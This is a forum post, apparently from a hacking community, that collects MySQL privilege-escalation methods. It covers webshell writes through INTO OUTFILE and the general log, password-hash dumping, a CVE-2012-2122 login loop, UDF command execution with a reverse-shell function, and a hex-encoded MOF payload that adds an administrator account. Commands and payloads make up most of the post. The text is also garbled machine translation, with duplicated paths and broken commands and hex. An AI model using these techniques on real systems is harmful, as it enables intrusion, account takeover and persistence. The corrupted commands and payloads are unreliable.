H

MySQL 提权方法整理

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

MySQL 提权方法整理​

1 Initial Access​

1.1 数据库权限​

获得数据库操作权限的方法无非是:
3306弱密码爆炸
-SQLMAP的-SQL-Shell图案
在网站的数据库配置文件中获取明文密码信息
MySQL 1天脆弱性获取许可

1.2 webshell 权限​

前提
该网站是已知的,路径已写入权限
高权限数据库用户
Secure_file_priv无限
1
2
3
4
5
6
mySQL显示“%secure_file_priv%”,例如“全局变量”;
+-----------------------------+
| variable_name |值|
+-----------------------------+
| Secure_file_priv | |
+-----------------------------+
在MySQL 5.5之前,Secure_File_Priv默认为空。在这种情况下,可以将文件写入任何绝对路径。
MySQL 5.5之后,默认情况下,secure_file_priv为null。在这种情况下,无法写入文件。
特定原则已在文章“ SQL注入相关”中详细描述,在此不描述。

1.2.1 into outfile 写文件​

1
选择'?php phpinfo();进入Outfile'/var/www/html/info.php';
在SQLMAP下,您可以执行以下操作:
1
sqlmap -u'http://x.x.x.x.x/?id=x' - file-write='/path/to/shell.php'-file-dest='/var/var/var/www/www/html/html/test/shell.php'
一般而言,Linux系统下的许可分配相对严格。在正常情况下,MySQL用户无法将文件直接写入站点的根目录。在这种情况下,在Windows环境中,成功率将很高。

1.2.2 terminated by 写文件​

1

1.2.3 general log 写文件​

MySQL版本5.0或更高版本将创建日志文件。您可以将日志的全局变量修改为getshell
信息
General_log默认关闭。打开它可以记录用户输入的每个命令并将其保存在相应的日志文件中。
1
2
3
4
5
6
7
mySQL显示“常规%”之类的变量;
+----------------------+---------------------------------------------------------------
| variable_name |值|
+----------------------+---------------------------------------------------------------
|常规_log |关闭|
|常规_log_file | /var/lib/mysql/c1595d3a029a.log |
+----------------------+---------------------------------------------------------------
通过将General_Log存储位置更改为Web目录。同时,如果将内容写入日志文件,则可以成功获取。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#更改日志文件位置
设置global general_log='on';
设置Global General_log_file='/var/www/html/info.php';
#查看当前配置
mySQL显示“常规%”之类的变量;
+----------------------+--------------------------------------------+
| variable_name |值|
+----------------------+--------------------------------------------+
|常规_log | ON |
|常规_log_file | /var/www/html/shell.php |
+----------------------+--------------------------------------------+
#在过去的日志中写有效载荷
选择'?php phpinfo();';
警告
尽管可以编写文件,但文件的权限由mysql创建:
1
-rw-rw ---- 1 mysql mysql 293 2月19日10:29 shell.php
访问此PHP文件时,将出现HTTP 500状态代码。结论是,Linux系统中的这种情况基本上不会成功,并且成功率只会在Windows系统上更高。

1.3 Hash 破解​

假设存在SQL注入DBA许可,则如果目标3306端口也可以访问,则可以尝试读取MySQL的哈希人进行解密:
1
2
3
4
5
#mysql=版本5.6
MySQL选择主机,用户,密码来自mysql.user;
#mysql=版本5.7
MySQL选择主机,用户,Authentication_string来自mysql.user;
20210119104115.png-water_print

然后可以通过在线接口网站解密。

1.4 MySQL 1Day 漏洞​

1.4.1 yaSSL 缓冲区溢出​

相应的模块已集成在MSF中:
1
2
MSF6使用exploit/windows/mysql/mysql_yassl_hello
MSF6使用exploit/linux/mysql/mysql_yassl_hello

1.4.2 CVE-2012-2122​

知道用户名已多次输入错误的密码,您有可能成功登录数据库,并且您可以在循环中登录1000次数据库:
1
因为我在“ seq 1 1000”中;做mySQL -UROOT -PWRONG -H 127.0.0.1 -p3306;完毕
MSF中有相应的利用模块:
1
MSF6使用辅助/扫描仪/mysql/mysql_authbypass_hashdump
20210119110448.png-water_print

2 UDF 提权​

用户定义的功能- 自定义功能,数据库函数的扩展。用户可以通过自定义功能实现在MySQL中轻松实现的功能。他们添加的新功能可以在SQL语句中调用,就像调用本机函数版本()和其他方便一样。

2.1 手动实现​

2.1.1 动态链接库​

如果它是mySQL=5.1的版本,则必须将UDF动态链接库文件放在MySQL安装目录中的LIB \ Place-Plackin文件夹下的文件夹中,以创建自定义函数。
SQLMAP中的动态链接文件:
/path/to/sqlmap/data/udf/mysql
这些动态链接库包含在SQLMAP中。为了防止被错误杀死,它们已被编码,不能直接使用。但是,您可以使用SQLMAP随附的解码工具Cloak.py来解码和使用它。有关详细信息,请参阅使用“与SQL注入相关的文章”。
MSF中的动态链接库文件:
/path/to/msf/embedded/framework/data/exploits/mysql
20210119111715.png-water_print

2.1.2 插件目录存放位置​

通过以下SQL语句实现:
1
2
3
4
5
6
mySQL显示“%插件%”之类的变量;
+-----------------+-----------------------------------------+
| variable_name |值|
+-----------------+-----------------------------------------+
| Plugin_dir | /usr/local/mysql/lib/plugin/|
+-----------------+-----------------------------------------+
技能
在Windows中,您可以使用NTFS流来创建此文件夹:
选择233进入dumpfile'c: \\ phpstudy \\ phptutorial \\ mysql \\ lib \\ lib \\ plugin: $ index_allocation';
技能
如何找到MySQL的安装目录:
1
2
3
4
5
6
mysql select @@ dasadir;
+-------------------------------+
| @@基于|
+-------------------------------+
| /usr/local/mysql |
+-------------------------------+

2.1.3 写入动态链接库​

SQL注入,并获得了高度授权。插件目录是可写的,需要无限的secure_file_priv。 MySQL插件目录可以由MySQL用户编写。此时,您可以直接使用SQLMAP上传动态链接库。由于GET具有字节长度限制,因此注射后通常可以执行这种攻击。
1
sqlmap -u'http://localhost/' - data='id=1'---file-write='/path/to/lib_mysqludf_sys_sys_64.so'so' - file-dest='/usr/usr/usr/lib/lib/mysql/mysql/plugin/plugin/us udf.so''''
如果没有注射,我们可以操作本机SQL语句。在这种情况下,当Secure_file_priv无限时,我们可以手动将文件写入插件目录:
1
2
#直接选择查询十六进制写作
选择0x7F454C4602 .进入dumpfile'/usr/lib/mysql/plugin/udf.so';
如何在这里获得十六进制系统?您可以使用MySQL随附的十六进制函数进行编码:
1
2
3
4
5
#直接传递路径编码
选择hex(load_file('/lib_mysqludf_sys_64.so'));
#您还可以编码路径十六进制
选择HEX(LOAD_FILE(0x2F6C69625F6D7973716C7564665F7379797979735F36342E736F));

2.1.4 命令执行​

1
2
创建函数sys_eval返回字符串soname'udf.dll';
选择sys_eval('whoami');

2.1.5 清理痕迹​

删除自定义功能:
1
drop函数sys_eval;
MSF中的

2.2 自动化实现​

模块:
1
MSF6设置有效载荷linux/x86/shell/bind_tcp

2.3 UDF Shell​

假设目标MySQL无法直接连接到MySQL或MySQL不允许外部连接,则某些Web脚本更方便且易于使用。

2.3.1 UDF.PHP​

UDF命令执行马来西亚:https://github.com/echohun/tools/blob/master/master/master/malays/malays/udf.php

2.3.2 Navicat MySQL​

目标mysql不允许外部连接。目前,您可以使用Navicat随附的隧道隧道脚本上传到目标网站:
20210119113137.png-water_print

20210119113221.png-water_print

然后在连接时设置HTTP通道:
20210119113326.png-water_print

连接成功后,可以执行上述手册UDF特权升高步骤。

2.4 反弹端口提权​

实际上,这是使用UDF升级功率的另一种方法,但是这里的动态链接库是自定义的,具有更多功能和更实用的方法:
1
2
3
4
5
6
7
8
9
10
cmdshell#执行CMD
下载器#下载器,在线下载指定的文件,然后将其保存到指定的目录
Open3389#Universal Open 3389终端服务,可以指定端口(如果不更改端口,则无需重新启动)
背壳#反弹壳
ProcessView#枚举系统流程
KillProcess#终止指定的过程
回归#阅读注册表
regwrite#编写注册表
关闭#关闭,注销,重新启动
关于#描述和帮助功能
地址:https://github.com/geekby/langouster_udf
首先,在攻击机上启用NC侦听,然后导入目标计算机上的DLL动态链接库,然后创建一个自定义功能:
1
创建函数backshell返回字符串soname'udf.dll';
直接反弹外壳:
1
选择Backshell('ip',4444);

3 MOF 提权​

MOF电源升高是一个历史性的漏洞,在Windows Server 2003环境中基本上可以成功。

3.1 原理​

的原则是权利升级的原则是,系统偶尔(大约几秒钟)执行了C:/Windows/System32/wbem/wbem/wbem/wbem/wbem/mof/目录中的MOF文件。由于某些MOF是一个VBS脚本,因此您可以使用此VBS脚本调用CMD来执行系统命令。如果MySQL有权操作MOF目录,则可以执行任何命令。

3.2 手动复现​

3.2.1 上传 mof 文件​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma Namespace('\\\\\。\\ root \\ subscription')
__EventFilter的实例为$ eventfilter
{
EventNamespace='root \\ cimv2';
name='filtp2';
查询='select *从__instancemodificationevent'
'targetinstance isa \'win32_localtime \''
'和targetinstance.second=5';
queryLanguage='wql';
};
ActivesCripteventConsumer的实例为$消费者
{
name='conspcsv2';
scriptingengine='jscript';
ScriptText=
'var wsh=new ActiveXobject(\'wscript.shell \')\ nwsh.run(\'net.exe用户hacker p@ssw0rd /add /add /add \') \ nwsh.run(
};
__filtertoconsumerbinding的实例
{
消费者=$消费者;
filter=$ eventfilter;
};
使用MySQL的功能编写文件,将此MOF文件导入到C:/Windows/System32/wbem/Mof/Directory中,并且仍然使用上述编码方法:
1
选择0x23707261676D61206E616D65737061636528225C5C5C5C5C2E5C5C5C726F6F745C745C7373756275627373726972697074696F6E222292 00A0A696E7374616E6365206F66205F5F5F5F4576656E74446696C746572206173202457665656E74444444444444696C7465722200A7B 200A20202020204576656E744E4E616D657370616365203D2022526F6F745C5C5C43696D7632222222200A202020202020202020202020202020202020204E616D 6520203D202266696C74503222222222200A2020202020202020205175799203D202225365656563742042046726726F6D205F6D205F5F5F5F496E3 74616E63654D6F64696669666174696F6E4576656E7420222200A2020202020202020202020202020202020202020202025768657265205461 72676574496E7374616E636520497361205C22257696E333325F4C6F63616C54696D65655C222222222222222200A202020202020202020202020202020202020202020202020202020 20202020202022416E6420546172676574496E7374616E63652E53656565636E4203D2035223B200A20200A202020202020202051756572 794C616E6775616765203D202257514C2223B200A7D3B200A0A0A696E6E6E6E6E7374616E6365206F66666204162041637469746976665553637269 70744576656E44436F6E73756D65722061732024436EF6E73756D6572200A7B200A7B200A200A200A2020202020202020202020204E61616D65203D20226 36F6E73504353563223B200A200A202020202020536372697074696E67456E67456E67696E65203D20224A536372697269707074223B200A2020202020202020 202053637269707454657874203D200A227661722057575757575348203D206E6E657720416374697655584F6262626A65656374285C22 575363726970742E5368656C5C222222295C6E575753482E72756E72756E285C226E65742E65742E657865207575757220657220686861636B6572 2050407373737337264202F61645C22222295C6E5753482E72756E285C2226E65742E657865206C6C6C6C6C6F63616C67726F7570 2061646D696E6973747261746F72732068616B6572202F616164645C22222222223B200A7D3B200A0A0A0A0A69696E73746E616E6365 206F66205F5F46696C746572546F436F6E73756D6572424242424242696E64696E67200A7B200A200A202020202020436F656F6E73756D657220 20203D2024436F6E73756D65723B200A200A20202020202046696C746572203D2024576656E74446696C74696C7465723B200A7D3B0A进入dumpfile'c:/windows/system32/wbem/mof/test.mof';

3.2.2 痕迹清理​

,因为要添加用户的命令将每隔几分钟再次执行,所以我想清理痕迹
 
后退
顶部